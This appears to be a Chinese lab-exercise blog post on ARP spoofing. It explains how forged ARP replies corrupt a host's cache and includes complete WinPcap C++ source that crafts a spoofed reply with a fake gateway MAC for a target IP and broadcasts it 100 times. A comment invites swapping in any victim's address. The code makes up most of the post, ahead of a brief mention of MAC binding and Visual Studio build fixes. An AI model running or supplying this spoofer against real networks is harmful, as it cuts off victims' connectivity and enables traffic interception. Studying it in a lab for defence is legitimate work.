发arp应答包欺骗别人的例子
实验原理:
对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与主机B的网络通信中断。这种方法属于拒绝服务(Denial of Service, DoS)攻击,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断。
攻击者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看出,攻击者发送了一系列的ARP请求包,表面上像是网关
172.28.15.33在网络中查寻各个主机的MAC地址,而实际上是攻击者通过发送广播包告诉各个主机:172.28.15.33的MAC地址是
“c8-9c-dc-22-61-d0”。这样,当各主机收到广播包后,就会用伪造的这个MAC地址来更换原先的ARP缓存表,此时用“arp
-a”命令查看时得到的就是这个伪造的MAC地址。
实验代码及步骤:
// 123.cpp : 定义控制台应用程序的入口点。#include "stdafx.h"#include int _tmain(int argc, _TCHAR* argv[]){ pcap_if_t * allAdapters;//适配器列表 pcap_if_t * adapter; pcap_t * adapterHandle;//适配器句柄 u_char packet[ 1020 ]; //待发送的数据封包 char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区 if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 ) {//检索机器连接的所有网络适配器 fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer ); return -1; } if( allAdapters == NULL ) {//不存在任何适配器 printf( "\nNo adapters found! Make sure WinPcap is installed.\n" ); return 0; } int crtAdapter = 0; for( adapter = allAdapters; adapter != NULL; adapter = adapter->next) {//遍历输入适配器信息(名称和描述信息) printf( "\n%d.%s ", ++crtAdapter, adapter->name ); printf( "-- %s\n", adapter->description ); } printf( "\n" ); //选择适配器 int adapterNumber; printf( "Enter the adapter number between 1 and %d:", crtAdapter ); scanf_s( "%d", &adapterNumber ); if( adapterNumber < 1 || adapterNumber > crtAdapter ) { printf( "\nAdapter number out of range.\n" ); pcap_freealldevs( allAdapters );// 释放适配器列表 return -1; } adapter = allAdapters; for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ ) adapter = adapter->next; // 打开指定适配器 adapterHandle = pcap_open( adapter->name, // name of the adapter 65536, // portion of the packet to capture // 65536 guarantees that the whole // packet will be captured PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode 1000, // read timeout - 1 millisecond NULL, // authentication on the remote machine errorBuffer // error buffer ); if( adapterHandle == NULL ) {//指定适配器打开失败 fprintf( stderr, "\nUnable to open the adapter\n", adapter->name ); // 释放适配器列表 pcap_freealldevs( allAdapters ); return -1; } pcap_freealldevs( allAdapters );//释放适配器列表 //创建数据封包 packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被骗计算机的mac地址 packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 自己的mac地址 packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动) packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太网 packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP协议 packet[18] = 0x06; // arp第3字段:代表第二层地址的长度 packet[19] = 0x04; // arp第4字段:代表第三层地址的长度 packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段 packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的网关地址, packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改) packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x61; packet[37] = 0xd0; // 被骗计算机的mac地址 packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x21; // 被骗计算机的IP地址,这里是172.28.15.33 (想骗谁,这里就改成谁的IP) //发送数据封包 for(int ssde=0;ssde<100;ssde++) { pcap_sendpacket( adapterHandle, packet, 42); Sleep(1000); } system( "PAUSE" ); return 0;}
运行结果:
查看要被欺骗的MAC地址:
如果不想被欺骗就需要mac绑定:
注意事项:
项目-->(123)属性(alt+F7)配置属性-->清单工具-->输入和输出-->嵌入清单-->否项目-->(123)属性(alt+F7)配置属性-->C/C++-->常规-->附加包含目录-->(C:\WpdPack选中include文件)项目-->(123)属性(alt+F7)配置属性-->链接器-->常规-->附加库目录-->(C:\WpdPack选中lib文件)
项目-->(123)属性(alt+F7)配置属性-->链接器-->输入-->附加依赖项-->补充“;Packet.lib;wpcap.lib;Ws2_32.lib;”项目-->(123)属性(alt+F7)配置属性-->C/C++-->预处理器-->预处理器定义-->补充“;HAVE_REMOTE”---------LINK:fatal error LNK1123: 转换到 COFF 期间失败: 文件无效或损坏--------第一步:将 项目——项目属性——配置属性——连接器——清单文件——嵌入清单 “是”改为“否”。若还不能解决问题进入第二步。第二步:查看计算机是否为64bit操作系统,如是,继续如下操作。查找是否有两个cvtres.exe。C:\Program Files(x86)\Microsoft Visual Studio 10.0\vc\bin\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe右键属性—详细信息, 查看两者版本号,删除/重命名较旧的版本,或者重新设置Path变量。
治本的办法是第二步,删除旧版本的cvtres.exe后,就不需要每次都设置配置。例如: del C:\"Program Files (x86)"\"Microsoft Visual Studio 10.0"\VC\bin\cvtres.exe-----------------------------------------------------------------------------------------------------------
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
暂时没有评论,来抢沙发吧~